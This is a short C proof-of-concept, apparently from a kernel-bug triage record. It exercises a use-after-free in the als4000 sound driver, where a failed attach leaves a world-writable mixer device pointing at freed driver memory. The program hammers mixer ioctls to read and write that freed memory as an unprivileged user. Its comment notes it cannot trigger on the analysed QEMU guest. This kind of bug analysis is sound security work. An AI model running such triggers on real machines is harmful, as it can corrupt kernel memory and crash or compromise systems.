DF-4550 / mixer_uaf_exerciser.c
/* DF-4550 — post-trigger exerciser for the als4000 mixer-UAF family bug. * * Context: sys/dev/sound/pci/als4000.c:842 calls mixer_init() BEFORE * pcm_register() (:847). mixer_init() publishes a world-accessible * /dev/mixerN (mixer.c:730-732, mode 0666) whose snd_mixer->devinfo is the * driver softc `sc`. If pcm_register() fails, bad_attach (:861-863) frees * `sc` while the mixer device survives -> every mixer ioctl dereferences * freed memory inside alsmix_set()/alsmix_setrecsrc(). * * This program is the exerciser an unprivileged user would run once the * dangling /dev/mixerN exists (i.e., after an als4000 attach whose * pcm_register step failed): it hammers MIXER_WRITE on every device so a * freed-and-reused `sc` is read/written through als_mix_rd/als_mix_wr. * * It CANNOT manifest on the QEMU guest: no ALS4000 PCI device exists there * (ALS_PCI_ID0 0x40004005 — see guest_hw_evidence.txt), so als_pci_attach * never runs and no /dev/mixerN is ever created by this driver. */ #include <fcntl.h> #include <stdio.h> #include <sys/ioctl.h> #include <sys/soundcard.h> int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/mixer0"; int fd = open(dev, O_RDWR); int i; if (fd < 0) { perror(dev); return 1; } for (i = 0; i < SOUND_MIXER_NRDEVICES; i++) { int v = (75 & 0xff) | ((75 & 0xff) << 8); if (ioctl(fd, MIXER_WRITE(i), &v) < 0) perror("MIXER_WRITE"); else printf("MIXER_WRITE dev=%d ok (alsmix_set touched sc)\n", i); } { int src = SOUND_MASK_LINE; ioctl(fd, SOUND_MIXER_WRITE_RECSRC, &src); printf("RECSRC write issued (alsmix_setrecsrc touched sc)\n"); } return 0; } |